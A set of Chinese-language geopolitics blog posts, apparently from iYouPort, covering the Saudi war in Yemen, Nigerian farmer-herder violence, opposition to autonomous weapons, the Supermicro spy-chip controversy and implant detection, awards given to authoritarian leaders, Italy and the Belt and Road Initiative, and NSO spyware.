尽管有来自援助团体的呼吁，但美国并没有向阿联酋人施加压力以阻止这次袭击。国务卿迈克庞培发表声明，要求各方尊重“人道主义援助的自由流动”，但没有呼吁联军撤退。

Hodeidah 看到了一些2018年最严重的战斗，挪威难民委员会估计共

有2,325名平民伤亡。援助团体还对数千名因战斗而被困的平民敲响了警钟。12月国际停火斡旋减缓了联军空袭的速度，但1月份停火协议破裂，暴力事件重新开始。

法国情报报告还描述了沙特人为确保他们与也门边界的大规模行动，并表示沙特军队的五个旅和沙特国民警卫队的两个旅—— 大约25,000名男子—— 沿边界部署。这支部队配备了**300**辆坦克和**48**枚法国制造的凯撒自行榴弹炮，能够向数十英里外的也门领土射击。

报道称，这次边境行动的“未说出口的目标”是渗透到胡希控制的地区，并最终在也门萨达省的胡希据点上继续前进。但它表示，沙特人缺乏机动性使他们极易受到游击队的袭击，而且他们的空袭对于敏捷的胡希部队来说是非常不精确的。换句话说就是，将有更多的无辜平民被害。

报告说：“尽管部署了充分的防御手段，但胡希仍然保持着他们的滋扰能力：炮弹、导弹射击、简易爆炸装置、伏击和渗入沙特领土。”“2016年夏天，在坦克之间的空地增加了步兵战车，但也无法提高沙特战术的效率。”

SECRET REPORT REVEALS SAUDI INCOMPETENCE AND WIDESPREAD USE OF U.S. WEAPONS IN YEMEN. The Saudi-led bombing campaign in North Yemen primarily relies on three types of aircraft: American F-15s, British EF-2000 Typhoons, and European Tornado fighters.

原文

被政治化的血腥冲突 - iYouPort

地缘政治

尼日利亚当局未能调查社区冲突并将肇事者绳之以法，这加剧了全国农民和牧民之间冲突的血腥升级，导致过去三年内至少有3,641人死亡，数千人流离失所。

「图」

「图」

[[

|https://web.archive.org/web/20210816213139/https://www.wix.com/dashboard/6fc0666c-c125-4701-93b5-303f8db9aa33/blog/5c1b3820e568f9001a033688/edit/search/posts?query=%23humanrights]]

在一份新的报告“ Harvest of Death: Three Years of Bloody Clashes Between Farmers and Herders ”中发现，在 3841起被记录的死亡事件中，有 57% 发生在 2018 年。安全部队经常被派遣在接近袭击的地方，持续数小时有时几天，但是他们行动缓慢。在某些情况下，安全部队事先警告即将实施突袭，但没有采取任何措施阻止杀戮、抢劫和烧毁房屋的恶行。

“尼日利亚政府已经展示了只能被称为严重无能的特征，并且没有履行保护其人民生命的义务，无法阻止牧民和农民之间日益加剧的冲突。当局的愚蠢使得有罪不罚现象迅速蔓延，杀戮蔓延到全国许多地方，给已经生活在不断担心下一次袭击的社区造成了更大的痛苦，“尼日利亚国际特赦组织主任 Osai Ojigho 说。

该报告基于对受害者、目击者、社区领袖、医疗从业者、宗教领袖和政府官员（包括安全部队成员）的 262 次采访。研究人员还分析了 230 份文件，包括医疗记录和安全部队的报告。

“这场冲突的根本原因与宗教或种族无关; 它主要是关于土地和放牧。但在某些地方，由于安全部队的失败，对资源的竞争被用作以种族或宗教方式杀戮和残害的借口。一些州政府官员却执迷于党派竞争更加剧了紧张局势，这种冲突也被危险地政治化了，“Osai Ojigho 说。

Nigeria: Government failures fuel escalating conflict between farmers and herders as death toll nears 4,000 “The root cause of this conflict has nothing to do with religion or ethnicity; it is largely about land and access to grazing. But in some places, because of the failures of the security forces, competition over resources is used as a pretext to kill and maim along ethnic or religious lines. The conflict has also been dangerously politicized by some state government officials who have inflamed tensions by embarking on a blame game along political party lines,” said Osai Ojigho.

原文

谁是杀手 - iYouPort

地缘政治

谁会喜欢不受控的杀人机器？

的确有人喜欢，他们就是那些大国，他们使用这类机器来支撑他们的霸权，

为什么会这样？

为什么民主国家完全无视民意？

「图」

「图」

在选择和杀死目标时，世界各国领导人在禁止自动武器方面几乎没有表现出领导作用，但是一项新的调查显示，全球人口绝大多数反对这种“杀手机器人”的发展。

Ipsos MORI 公布的一项新的民意调查显示，在询问人们是否同意批准自动化武器的26个国家中，有五分之三的受访者强烈反对该提案。

调查显示，自2017年1月以来，公众的反对意见已经大幅增加，当时只有56％的受访者反对开发杀手机器人。

在新的民意调查中，世界各国人民都在反对这种自动杀人机器，因担心他们的行为“不负责任”，而三分之二的受访者也表示他们反对开发那种会“违反道德原则”的武器。

但正如国际特赦组织所指出的那样，世界各国领导人都没有倾听这些明确的民意，而公民们已经加入了阻止杀手机器人的运动，以推动国际禁止自动化武器的禁令。

“这项民意调查显示，国家意向与公众舆论完全脱节。政府应该保护人们免受杀手机器人构成的无数风险，”Amnesty Tech 代理副主任

Rasha Abdul Rahim 说。

“各国政府应该注意这项民意调查，并紧急开始谈判一项禁止这些恐怖武器的新条约。”

包括哥斯达黎加、巴勒斯坦和巴基斯坦在内的**28**个国家支持禁止使用杀手机器人; 巴西，智利和奥地利已正式提出一项具有法律约束力的协议，禁止其使用。该文件要求“对致命的自动化武器系统中的关键功能进行有意义的人为控制”。

但是，这些协议遭到了包括美国、俄罗斯和韩国在内的全球大国的挫败，去年在年度常规武器公约中他们就表示不会支持拟议的条约。

国际特赦组织指出，这些领导人正在破坏“生命权和其他基本人权”，并且无视他们所代表的人民的意愿。

接受调查的美国人中有52%反对杀手机器人的发展，59%的俄罗斯人和近四分之三的韩国人同样表示反对。

“我们仍有时间停止全自动武器的开发和扩散，但我们不会长期拥有这种奢侈的机会，” Abdul Rahim 说。

他补充说，只有完全禁止这种杀人机器“才能有助于确保尊重国际法，并解决有关授权给机器做出生死决定的道德和安全问题。”

Call for Global Ban as Poll Shows Overwhelming Public Opposition to ‘Horrifying’ Killer Robots. Weapons that require no input from humans in selecting and killing targets undermine “the right to life and other human rights,” critics say

原文

还记得轰动一时的"中国的间谍芯片"吗？ - iYouPort

地缘政治

位于圣何塞的服务器制造商 Supermicro 已致函其客户，告诉他们独立审计未发现任何证据表明恶意芯片是在其主板上被植入。“中国微芯片”事件是曾经轰动一时的彭博社报道。

- 关联：我们来回顾一下这件事《News：据报中国利用微型芯片渗透美国公司，他们是怎么做到的？》
- 《这个技术将可以快速地发现秘密的“中国微芯片”—— 检测技术已出》

在公开发布给客户的一封信中，Supermicro 解释说，它要求第三方公司 Nardello & Co 对其硬件进行独立审核，测试其现有的主板以及之前销售给 Apple 和亚马逊的主板。

那么调查发现了什么吗？什么也没有。

「图」

「图」

现在球就在彭博的球场上。当然，他们有责任提供一些篡改主板的物理证据，可以由独立的中立专家进行检查。如果他们无法做到这一点，那么怀疑从事彭博报道的记者的诚信问题就会越来越多。

那么彭博社说什么？

说的并不多。一篇简短的文章已经发表，并指出第三方测试没有发现 Supermicro 主板上的恶作剧的证据，但，还是那句话：“彭博商业周刊此前已表示，它坚持其报道的准确性。”

注意措辞。“以前说过”。那么现在呢？无法从彭博社获得最新评论吗？

Supermicro 还制作了关于其质量保证流程的简短视频：

Supermicro says independent investigation found no spy chips on its motherboards: It certainly feels like the ball is in the court of Bloomberg. Surely the onus is on them to produce some physical evidence of a tampered motherboard that can be examined by an independent neutral expert.

原文

这个技术将可以快速地发现秘密的“中国微芯片” — — 检测技术已出 - iYouPort

地缘政治

现在可以肯定的是：这种攻击形式存在、美国已经使用过植入物攻击、中国在这种攻击领域占据绝对优势。但是仍没能证明彭博社提出的微芯片就来自中国军方。如何才能证明？

「图」

「图」

就如我们日前编译的报道（在这里看到），据称“中国间谍设法将芯片插入计算机系统 ，以便对这些系统进行外部控制”。亚马逊、苹果等公司于 2015 年左右购买了由总部位于圣何塞的超微公司在中国制造的专用服务器，据报道这些服务器存在问题。

亚马逊、苹果、中国政府和超微公司都否认了这一事件。一些专家发现很难相信像苹果这样的顶级公司最初会在质量保证过程中“错过”如此重大的事件。然而，彭博社的报道以及该袭击的性质使其他专家深信不疑。其中之一就是佛罗里达州网络安全研究所（**FICS**）主任 **Mark M. Tehranipoor**。事实上，他的研究所一直在开发检测和反击技术，对付的就是那种攻击。

作为 IEEE 研究员 Tehranipoor 表示，该研究所的半自动化系统“可以在几秒到几分钟内识别出这种攻击”。该系统使用光学扫描、显微镜、X射线断层扫描和人工智能来比较印刷电路板及其芯片和组件与预期的设计之间的区别。

他解释说，首先要拍摄电路板正面和背面的高分辨率图像。机器学习和 AI 算法遍历图像，跟踪互连并识别组件。然后，X 射线断层成像仪更深入显示埋在电路板内的互连和组件（根据 Bloomberg 的说法，该攻击的后期版本涉及掩埋有问题的芯片，而不是让它摆在表面

上）。该过程需要一系列 2D 图像并自动将它们拼接在一起，以产生逐层分析、互连以及它们连接的芯片和组件。Tehranipoor 估计，彭博报道中显示的有问题的系统可能有十几层。

然后将所有这些信息与原始设计进行比较，以确定制造商是否添加、减少或更改了某些内容。

几乎所有的过程都是自动化的，Tehranipoor 的小组正致力于彻底消除系统中对人的需求。此外，他们正在研究识别更微妙的攻击的方法。例如，攻击者可能会改变电路板上电容器和电阻器的物理值、或者巧妙地改变互连的尺寸，使其易受系统严重的电迁移影响。

那么，为什么这个系统不能被广泛使用呢？毕竟，其中大部分已于 2014 年开始提供。

（Tehranipoor 甚至在他 2017 年关于 IEEE Spectrum 的文章中已经描述了这种芯片攻击的危险性）。“有时技术已经准备就绪，但公司并没有使用它，因为攻击尚未被认为是真实的“，Tehranipoor 说。他说，此次的消息可能足以改变这种看法。

尽管如此，“这还不是让我夜不能寐的攻击，”Tehranipoor 说，“尽管它很复杂……但是那些攻击者可能会做得比这更严重，而且更难以被发现。”

「图」

「图」

Images: University of Florida These X-ray tomography images reveal, layer by layer, the layout of a commercial printed circuit board.

这篇报道至少可以证明这种攻击形式是存在的。现在的重点应该是：如何证明这种东西来自中国军方。是的，中国是世界工厂；没错，在高堡奇人争霸战中，中国一直想要自己的优势 — 可以抵御美国拥有的三大优势的“独特优势”。美国的优势如下：

- 与其他国家相比，美国拥有更丰厚的情报预算；
- 互联网的物理线路布局导致世界上许多网络通路、甚至是两个国家之间的网络通路都跨越美国边界；
- 大多数世界上最大最流行的硬件软件和互联网服务公司都位于美国境内，并遵从美国的法律规定。这就确立了美国在互联网

世界的霸主地位。

这些美国的优势成就了 NSA 等情报机构监听全球的棱镜计划。世界上再没有另一个国家能在数字间谍领域与美国抗衡，除了中国：全球有 75% 的手机和 90% 的 PC 在中国生产，中国主动放弃这一优势的可能性微乎其微，尤其是在棱镜计划被揭露后。如你所知，中国当局太擅长效仿了，而且从来不效仿道德行为。

然而美国也没有在硬件领域直接认输。Snowden 最信任的记者、普利策奖得主 Glenn Greenwald 在他2014年出版的著作《No Place to Hide》中提供了很多机密文档，其中就包括披露了 NSA 的 Tailored Access Operations (TAO) 部门及相关雇员拦截运送给监视目标的服务器、路由器和其它网络设备，秘密植入定制的固件，最后再重新打包。

「图」

「图」

日期为 2010 年6月的文档还包含了具体照片（如上图所示），显示 NSA 雇员正在打开思科路由器的包装箱，然后在路由器上安装执行特定任务的固件。**NSA** 的管理人员在文档中描述了他们的工作方式：第一步截获运送给全世界各个监视目标的网络设备；第二步将设备运送到 **NSA** 雇员所在的秘密地点，安装信标植入物（**beacon implants**），最后重新打包运送到原始目的地（该揭秘当年引发了轰动，相关报道之一见上面链接）。

这是拥有真实证据的揭露 — — 也因此彭博社的新报道在英美异议群体内的反响是一片嘘声（简直五味杂陈）。然而这次针对中国的指称证据尚不充分 — — 也是为什么我们在编译中首先提醒了“本文包含诸多的 WHY”。

现在可以肯定的是：这种攻击形式存在、美国已经使用过植入物攻击、中国在这种攻击领域占据绝对优势。但是仍没能证明彭博社提出的微芯片就来自中国军方。

能证明微芯片来自中国军方的方法只能是美国情报机构公开他们的调查记录，即 窃听中国和台湾的录音和线人证词 — — 彭博社报道中已经说明情报机构使用了这种“取证方法”。但现在他们拒绝拿出。这便令整件事的主动权被掌握在美国情报机构手里，完全可以在必要时刻使用其作为筹码 — — 这一做法也恰恰合乎美国一直以来的风格，即

有意降低安防以吸引攻击，由此获得战略优势。

但微芯片事件完全不同于普通的网络战和渗透，这不是针对美国的攻击，而是针对全球，但是美国情报机构和其宣传机构都在努力将此事转变为（“歪曲为”）地缘政治问题，而不是全球的安全问题 — 看彭博社的标题就是这样：“中国…渗透美国公司”，我们感觉这才是关键：这些当权者只是希望在地缘政治游戏中占据优势而无视所有人的安全。

北京非常了解华盛顿的心思，他们一直在等“被污蔑的机会”以便反咬，但这次，直接来了，反而北京的回应非常轻浮，完全是套话，他们为什么不利用这个机会？尤其是考虑到当前的局势？如果证据不足或消息不实，中国就能借此让美国名誉扫地，而且是一个长期可利用的借口。为什么北京没有这样做？顺便说，我们最新得到的消息显示，彭斯发言后中国国社内部召开了紧急会议，确定近期的宣传标准为：“避免全面论战”。

鉴于目前为止没有看到安插行为是由北京指使的实际证据，您可以认为北京现在的冷处理有两种可能：1、他们和美国一样也想把这件事当成地缘政治玩，就如高堡奇人 — 德日会争霸但不会摧毁对方，一切都是各自的筹码而不是致命武器；2、理亏只能私了。他们知道美国也是这么想的，于是利益输送可行。

但两种可能性说明了同一个问题：地缘政治只是当权者的利益，甚至可以出卖我们所有人的安全来满足当权者的利益。那些指望地缘政治游戏能拯救老百姓的人应该从这件事里获得警示。我们认为这才是这篇报道目前为止的意义所在。

我们不埋怨彭博社，它和所有“主流媒体”一样具有局限性，它们的工作就是转述当权者的“事实陈述”- 让权力决定什么是“事实”，它们经常无法表达当权者不给它们的东西 — — 简单说它们只能是录音机，这是作为规矩的。我们曾经在《媒体，你真的知道什么是事实吗？》这篇文章中对此有过详细分析。这一规矩在微芯片报道中直接变成了帮助当权者维稳 — — 转述政府官员的话说“没有消费者数据被盗” — — 问题是你怎么证实这点？

而且这些主流媒体一直面对诸多具体的现实的障碍，其中最大的障碍就是美国的《反间谍法》，和中国的同类法律一样，该法案会将当权者想要保密的一切信息的披露视为间谍行为，这就是为什么五年前棱镜文件遭到了所有主流媒体的拒绝，因此才成立的 The Intercept — 让 Intercept 最先披露，然后其他主流媒体“洗稿”，以避免“触犯法

律”。

民主需要专业的独立媒体才能满足公民的知情权。美国有很多出色的独立媒体，希望他们能对彭博社的 bug 作出有效的补充。■

原文

这些独裁者一直在获得国际大奖，粉饰他们侵犯人权的行为 - iyouport

地缘政治

一些专制领导人一直被外国政府和国际机构授予享有声望的国际奖项。为什么会发生这种情况？

几十年来，有名望的奖项和荣誉被授予了那些很明显有问题的世界领导人。对于颁奖国家和组织来说，这些荣誉发挥了重要的外交功能，巩固了战略联盟和贸易交易，并迎合了独裁者的自尊心。对受奖者来说，他们所获得的荣誉可以帮助掩盖从侵犯人权到国家腐败等各种问题。

无论这些装饰品是吸引了国际社会还是国内观众的注意，它们都能提供强有力的声誉提升，特别是对那些关心自己公众形象的政客来说。毕竟，不是每个人都能像利比亚的穆阿迈尔·卡扎菲那样虚张声势的保证，他曾说："不爱我的人不配活着。"

尽管如此，他们也不是刀枪不入的。例如在2018年，法国做出了剥夺叙利亚总统巴沙尔·阿萨德的荣誉军团勋章的举动，这是该国的最高荣誉勋章。阿萨德先发制人地退回了奖项，说他不会佩戴一个"美国的奴隶"的国家颁发的奖章。

尽管有许多隐患，但这种做法今天仍然存在，而且是毫无干扰地存在。本文将带您了解过去和现在的六个例子。

军事独裁者曼努埃尔·诺列加（Manuel Noriega）

「图」

1987年，曼努埃尔·诺列加被前法国总统弗朗索瓦·密特朗授予荣誉军团勋章。这是个奇怪的决定。就在前一年，纽约时报发表了一篇揭露文章，将这位巴拿马军事独裁者与贩毒、洗钱以及对一名政治对手的酷刑和斩首联系起来。

报告显示，密特朗对诺列加的尊重是出于外交考虑。毕竟，在华盛顿阻止核材料通过美国领土后，巴拿马为法国提供了一条飞往其南太平洋试验场的路线。

两年后，诺列加发现自己处于一个不太令人羡慕的位置。尽管他与中情局合作多年，在拉丁美洲打击共产主义，但他也在与大毒枭巴勃罗·埃斯科瓦尔在哥伦比亚的麦德林可卡因集团合作。诺列加与美国的关系最终变坏，美国军队于1989年入侵巴拿马，将他带到佛罗里达州，在那里他被判定犯有贩毒和洗钱罪。在2017年去世之前，诺列加在美国、法国和巴拿马的监狱中度过了他的剩余时间。

诺列加保留了他的荣誉军团勋章，直到2010年，他因洗钱指控被引渡到法国。甚至在他受审时，荣誉军团也出现了。在法庭上，诺列加将奖章的丝带系在他的外套上，他的律师反复提到他获得的这个奖项，也许是希望这能软化他的形象。他被认定有罪并被判处七年监禁。

这一判决使诺列加失去了这一荣誉，并为法国政府撤销那些被发现有犯罪或其他违法行为的获奖者的荣誉提供了基础。此后，哈维·温斯坦、兰斯·阿姆斯特朗、和2011年被拍到使用反犹主义口号的时装设计师约翰·加利亚诺都都失去了他们的奖章。

为什么诺列加的奖章过了这么久才被撤销？也许与美国与他结成联盟的原因相同：方便之举。正如《纽约时报》所解释的那样，荣誉军团“通常是由于在某些领域的‘杰出功绩’而被授予的，但众所周知，法国授予外国领导人的荣誉只是因为它符合政府当时的目的。”

努尔苏丹·纳扎尔巴耶夫

「图」

努尔苏丹·纳扎尔巴耶夫，哈萨克斯坦前总统，在2019年之前统治该国近30年，他的名字里有一个令人羡慕的荣誉清单。在他的个人网站上，有一整页专门介绍了因“天生的好奇心、不断追求新知识和自我完善”而获得的65个奖项和称号。

纳扎尔巴耶夫获得了大堆大学和科学院的学术头衔，以及世界各地政府颁发的奖章和国家奖项。在这些列表中，有一个剑桥大学的荣誉教授奖，显然是在2004年授予纳扎尔巴耶夫的。然而，在现有的大学记录中，并没有提到他获得该奖项。媒体多次联系该大学，但没有得到答复。

2000年，英国女王伊丽莎白二世向纳扎尔巴耶夫颁发了圣迈克尔和圣乔治大十字勋章，该勋章授予“担任高级职务的男女，或在外国提供非凡或重要的非军事服务的人”。其他获奖者包括美国前国务卿亨利·基辛格、法国前总理曼纽埃尔·瓦尔斯和演员安吉丽娜·朱莉。

法国前总统尼古拉·萨科齐于2008年授予纳扎尔巴耶夫荣誉军团勋章。自1802年设立这一荣誉以来，法国政府一直用它来表彰军事和民间人物的杰出工作 —— 并通过“外交互惠”来支持法国的外交政策。纳扎尔巴耶夫似乎是后者的一个例子。他在哈萨克斯坦和法国签署战略伙伴关系、在安全和法律等领域开展合作的同一天被领奖。

虽然纳扎尔巴耶夫被指控统治了一个贪污腐败的国家，并与一系列腐败丑闻有关，但他的名字也出现在哈萨克斯坦的多个机构中，包括哈萨克斯坦共和国第一总统博物馆和纳扎尔巴耶夫中心。2019年，该国的首都从阿斯塔纳改名为努尔苏丹。

2014年，纳扎尔巴耶夫是新设立的“丝绸之路和平奖”的第一位获奖者，由中国公共外交协会会长李肇星在上海颁发给他。两国还在同一次外交访问中签署了多项能源和投资协议。

尼古拉·齐奥塞斯库

「图」

当尼古拉·齐奥塞斯库于1965年成为罗马尼亚共产党总书记时，他被视为一位改革者。他清洗了该国臭名昭著的镇压性特务机构，使其更加负责任。1968年，当苏联坦克驶过布拉格时，他公开谴责入侵，称其为“一个大错误”。

对许多西方国家和非共产主义国家的政府来说，他的行动显得很勇敢，并给人们带来了铁幕有朝一日可能被打开的希望。因此，奥地利、丹麦、意大利、瑞典和英国等国的勋章和奖章纷至沓来，其中包括戴高乐总统于1968年授予他的法国荣誉军团勋章。

齐奥塞斯库在克里姆林宫从来都不被看好。一位苏联外交官在1968年的一篇日记中指出，他是“一个罕见的有演员气质的垃圾”。然而，与莫斯科和西方国家保持友好的关系符合他的最大利益。因此，他在1979年被苏联领导人列昂尼德·勃列日涅夫授予列宁勋章，他说这标志着“苏联共产主义者对罗马尼亚共产主义者的兄弟般的同情”。

然而，在所有的勋章和头衔背后是一个专制的领导人，他管理着一个

以饥饿为控制手段的残暴政权。齐奥塞斯库试图迅速实现罗马尼亚的工业化，导致了国民经济的严重管理不善和普遍的紧缩政策。罗马尼亚作家多林·扬库（Dorin Iancu）将整个20世纪80年代的严格配给制度描述为试图“将人们变成受惊的动物，让人们唯一的想法就是如何获得食物”。

在他执政的35年中，齐奥塞斯库把罗马尼亚变成了他自己的私人领地。他摧毁了布加勒斯特的历史中心，并以更加“社会主义”的方式重建它（伪社会主义）。被认为是经济表现不佳的村庄被夷为平地。2006年发表的一份罗马尼亚议会报告指出，在1945年至1989年期间，有多达200万人被拘留、驱逐或流离失所。

在整个1980年代，成千上万的人从罗马尼亚叛逃。然而，1988年，齐奥塞斯库被授予奥林匹克勋章，因为他决定无视四年前苏联和其他一些东欧集团国家对洛杉矶奥运会的抵制。这一荣誉并没有使他在国内的声誉得到提升。一年后，革命席卷了罗马尼亚，推翻了齐奥塞斯库的政府。1989年12月，他因被指控犯有种族灭绝罪而受到审判，并在圣诞节当天与他的妻子埃琳娜一起被行刑队处决。

阿比·艾哈迈德

「图」

2019年12月9日，埃塞俄比亚总理阿比·艾哈迈德走上挪威奥斯陆的一个舞台，作为诺贝尔和平奖得主，发表了演讲。“战争对所有参与者来说都是地狱的缩影”，他说，指的是一年前他帮助结束的埃塞俄比亚和邻国厄立特里亚之间长达几十年的冲突。

他最后说，“在和平的道路上，我还有很多路要走”。当时很少有人会预料到，大约一年后，艾哈迈德就派遣埃塞俄比亚军队在埃塞俄比亚最北端的提格雷地区发动了武装袭击，这场冲突导致了成千上万人死亡和流离失所。

艾哈迈德是一名44岁的前情报官员，于2018年当选为非洲第二大人口大国的总理。他在多年批评由提格雷人民解放阵线(TPLF)和其他以种族和地区为重点的政党主导的前独裁政府后上台。在其任期的早期，艾哈迈德进行了改革，释放了政治犯，放松了国家对媒体的控制，并帮助促成了非洲各地冲突的和平结束。

为了缓解埃塞俄比亚长期存在的地区和民族紧张关系，艾哈迈德增加了联邦政府的权力。他成立了具有民族包容性的繁荣党，并将TPLF的

官员赶下台。

但是，与提格雷领导人的紧张关系在去年秋天达到了一个突破点，艾哈迈德因为 Covid-19 而推迟了议会选举。提格雷的官员不服气，举行了一次非法选举并宣布胜利。艾哈迈德削减了对该地区的联邦资金，并在11月对装备精良的提格雷地区政府发动了武装攻势，指责其对一个军事基地进行了致命的攻击。

艾哈迈德的记录甚至在提格雷危机发生之前就已经引起了不同的反应。人权组织和活动家表示，在他执政的第一年，种族紧张局势就开始恶化，记者们仍然受到任意审查和骚扰。

回到2019年，在颁奖仪式上，挪威诺贝尔委员会主席贝里特·赖斯·安德森说，委员会认为艾哈迈德的一些努力，包括在厄立特里亚和埃塞俄比亚之间创造和平，值得肯定。他说："我们的奖项是基于阿尔弗雷德·诺贝尔的意愿，我们承认你的努力符合这一意愿的真正精神"。

艾哈迈德的声誉受到了提格雷冲突的深刻影响：去年11月，很少对诺贝尔奖获得者的行为进行评论的委员会表示，它对埃塞俄比亚的事态发展"深感关切"。

今年的五一节全球反抗行动中，华盛顿州的抗议主题就是提格雷，在这里看到声明《*"不要旧常态，不要新常态"：2021*世界各地的五一节抗议活动》

毕齐纳·伊万尼什维利

「图」

1月**1**日，埃马纽埃尔·马克龙总统授予毕齐纳·伊万尼什维利荣誉军团勋章。官方的说法是，伊万尼什维利是格鲁吉亚前总理，但问任何一个格鲁吉亚人，他们都会告诉你，他仍然是这个国家最有权势的人。他是执政的格鲁吉亚梦想党的创始人，也是这个高加索小国最富有的人，在20世纪90年代从俄罗斯的银行业和金属工业中获得了估计**50**亿美元的财富。

尽管伊万尼什维利于2013年卸任，但他在格鲁吉亚政治中仍有强大的影响力。虽然"格鲁吉亚梦想"赢得了2020年10月的议会选举，但同情该党的媒体始终无视关于普遍存在的欺诈、收买选票、和恐吓反对派支持者的指控。去年11月，数以千计的反政府示威者在第比利斯集会，要求重新选举，以回应有争议的结果。

然而，格鲁吉亚的媒体渠道非常乐意将伊万尼什维利与戴高乐、凯末尔·阿塔图尔克和奥诺雷·德·巴尔扎克相提并论—— 他们都是荣誉勋章的获得者。没有人提到更有争议的获奖者，如巴沙尔·阿萨德或弗拉基米尔·普京。一些出版物还错误地指出，伊万尼什维利是今年 “仅有的” 几十个获奖者之一。事实是，共发放了1229个。

法国政府表彰伊万尼什维利的理由之一是他的慈善事业，包括他成立了一个名为国际慈善基金会的组织，为奋斗中的人提供每月津贴和资助重建旧教堂等举措。格鲁吉亚前司法部长、“格鲁吉亚梦想党” 成员 Tea Tsulukiani 在国家电视台发言时表示，这也是为了表彰他对国家对抗冠状病毒的贡献。

虽然伊万尼什维利确实向格鲁吉亚的 StopCov 基金捐赠了1亿美元，但事实证明官方对这一流行病的反应是不够的。该国约有**10%**的人口被感染，**2020**年国民经济萎缩了**6%**以上。

尽管伊万尼什维利有许多失误，但格鲁吉亚外交部长大卫·扎尔卡利亚尼在国家电视台自信地表示，这一荣誉承认他对该国民主的承诺。他说：“进入政界后，伊万尼什维利为民主改革和加强机构做出了显著的贡献”。

洪森

「图」

作为世界上任职时间最长的领导人之一，柬埔寨总理洪森在任职期间使用暴力并积累了估计为**10**亿美元的个人财富，反而赢得了国际声誉。

18岁时，洪森加入了波尔布特的红色高棉，这个残酷的共产主义政权造成了至少170万人的死亡。到1979年，26岁的他担任了世界上最年轻的外交部长。2018年，在他担任总理30多年后，这位前五星上将发誓要再统治10年。

由于他的人权记录和对联合国的批评，西方国家对他避之唯恐不及，洪森将重点放在东方。洪森与中国建立了密切的关系、加强了与印度总理纳伦德拉·莫迪的关系，在该地区保持了较高的知名度。他还积累了十多个大学荣誉学位。包括2019年的泰国格乐大学和2015年的中国广西大学，洪森积累了文学、哲学和政治传播方面的博士学位。

2015年，马来西亚的林国荣创意科技大学授予洪森荣誉博士学位，以

表彰他在推动柬埔寨教育方面的作用。当时，在世界经济论坛的148个国家中，柬埔寨在教育方面排名第116位。但是，该大学的校长解释称，“你必须从某个地方开始”。根据他的网站，洪森还于1995年获得了南加州大学的政治学荣誉博士学位，并于1996年获得了爱荷华卫斯理大学的法律学位（不要与南加州或康涅狄格州的卫斯理大学相混淆）。

洪森的妻子Bun Rany，柬埔寨红十字会主席，也被整个地区的六所大学授予荣誉博士学位，包括首尔女子大学。

2019年，洪森被世界和平联合会授予领导力和善治奖，以表彰他在发展柬埔寨经济方面的作用。该基金会由韩国有争议的统一教会的创始人孙明月设立，之前颁发的领导人包括**2005**年的乌克兰前总统列昂尼德·克拉夫丘克、和**2008**年的英国前首相撒切尔夫人 **(Margaret Thatcher)**。

洪森在国内也表现出对头衔的爱慕。二十多年来，所有国家媒体都被要求在报道中使用他的 “总理大人和最高军事指挥官” 的荣誉称号。2016年，在 Facebook 的一篇帖子中，他没有解释就取消了这一规定。

最后

「图」

国际奖项是否只是意味着某种交易？不能肯定地说是，但是它的确具有交易的性质，尤其是在国际关系中。国际荣誉并不是判断一个政客的标准，但颁发荣誉的行为将很可能体现某种地缘政治动态。〇

For these authoritarians, awards whitewash human rights abuses

原文

通向罗马的歧途 - BRI - iYouPort

地缘政治

习近平于3月22日抵达意大利进行正式访问。讨论的主题是：BRI。

一天前，在布鲁塞尔，欧盟讨论与中国在欧洲投资有关的“共同战略”。

欧盟的很大一部分事实上已与 BRI 联系在一起。其中包括希腊、葡萄牙、属于中国16 ＋ 1集团以及中欧和东欧的11个欧盟国家，还有意大利。

- 详见：《16＋1：北京的外交主线使前苏联国家与布鲁塞尔发生冲撞》
- 《哪些欧洲政治家已经陷入了北京的轨道？中国是如何在欧洲扩张的？》
- 《如果中国制定了规则……习近平的世界秩序：2024 年 7 月》

然而，意大利经济发展部副部长 Michele Geraci 告诉英国“金融时报”，在习近平访问期间将签署一份支持 BRI 的谅解备忘录，让所有麻烦（大概特指白宫）彻底去除。

英国“金融时报”并不羞于编辑，称 BRI 是一个“有争议的基础设施计划。”BRI 是一个广泛的，影响深远的长期欧亚集成项目，也是市场上唯一的准全球发展计划。这对华盛顿特别“有争议”—因为美国政府决定反对它而不是从中获利。

白宫国家安全委员会发言人嘲笑BRI为“中国制造，为中国而制造”项目。如今却有152个国家和国际组织正式认可 BRI。

中国对白宫采取的是半官方回应，避开了外交部通常的外交言论，是通过“环球时报”的一篇措辞严厉的，未经署名的社论来指责欧洲受到华盛顿外交政策和跨大西洋联盟的影响，没能“与21世纪的需求保持一致”。

BRI 将允许更多意大利制造出口到中国。作为生活在欧洲和亚洲之间的人，在意大利总是能使能看到人们讨论BRI。意大利制造对中国消费者的吸引力—食品，时尚，艺术，室内设计，更不用说所有那些法拉利和兰博基尼—都是无与伦比的。中国游客无法获得足够的在威尼斯、佛罗伦萨、罗马、以及在米兰购物的体验。

华盛顿不会在任何案例中讲述意大利人在贸易战中破坏美国面子的BRI联系—考虑到某种程度的习-特朗普协议可能迫在眉睫。布鲁塞尔已经深陷其中，特别是因为法国。

德国企业知道中国是目前和未来的首选市场; 此外，新丝绸之路的顶级码头之一是位于鲁尔河谷的杜伊斯堡。

我们正在谈论的是自2014年以来活跃的11,000公里长的 Yuxinou 集装箱货运列车; 重庆，哈萨克斯坦，俄罗斯，白俄罗斯，波兰，一路到杜伊斯堡。新丝绸之路的重要走廊之一渝西欧（重庆—新疆—欧洲的简称）必将在未来十年升级为高铁。

「图」

「图」

从本质上讲，这一切都与意大利有关—这是欧洲海路贸易的第三大国家—被配置为 BRI 的南欧“最佳终端”; 从东部和南部进入连通路线的入口，同时还以经济有效的方式服务于西部和北部的数十个目的地。

该项目的绝对关键是目前改造的威尼斯港—从中国经地中海向奥地利，德国，瑞士，斯洛文尼亚和匈牙利的输送供应线路。威尼斯正被配置为鹿特丹和汉堡的替代超级港口—这也是 BRI 连接的。

欧洲真的沦陷了吗？

All roads seem to lead to Rome as Italy expresses its love for China’s Belt and Road Initiative…

原文

金榜不要脸 - iYouPort

以色列和NSO-间谍产业的领主地缘政治

曾经在全球侵犯人权的阴暗狂魔居然摇身一变登上了热门节目和谷歌搜索排名第一的广告，是谁在背后支持他们以令他们有了”不会遭受制裁、还是继续捞更多钱”的信心？……

「图」

「图」

2016年夏天，一位迪拜的人权活动家成为攻击目标，其被使用的武器是先进的 iPhone 黑客工具。该恶意软件是由NSO集团开发的，这家以色列公司向世界各国的政府出售监控技术和黑客工具。

在 IYP 分类知识列表2中找到“以色列技术和NSO”栏目，其中有更多介绍。

